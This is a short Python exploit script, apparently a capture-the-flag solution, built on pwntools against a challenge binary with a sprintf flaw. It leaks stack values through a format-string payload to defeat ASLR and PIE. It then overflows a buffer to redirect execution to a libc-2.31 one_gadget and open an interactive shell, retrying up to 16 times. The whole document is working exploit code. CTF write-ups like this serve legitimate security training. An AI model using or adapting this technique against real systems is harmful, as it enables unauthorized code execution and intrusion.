sprintf

#!/usr/bin/env python3

from pwn import *

exe = ELF("./s_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe 

def conn():
    if args.REMOTE:
        log.failure("Too bad the event is over")
    else:
        r = process([exe.path])
    return r



def main():
    libc_offset = libc.sym["__libc_start_main"] + 243
    pie_offset = exe.sym["main"]
    for i in range(16):
        r = conn()
        p = b'%12$p|%16$p ' + b'i'*(0x38-30) + b'\x7c'
        r.sendline(p)
        leak = r.recv(29).split(b'|')
        r.recvline()
        libc.address = int(leak[0],16) - libc_offset    # return address
        exe.address = int(leak[1],16) - pie_offset      # main 
        try:
            p = b'i' * 0x38                     
            p += p64(libc.address + 0xe3b01) # one_gadget libc-2.31.so
            r.sendline(p)
            r.interactive()
        except EOFError:
            continue



if __name__ == "__main__":
    main()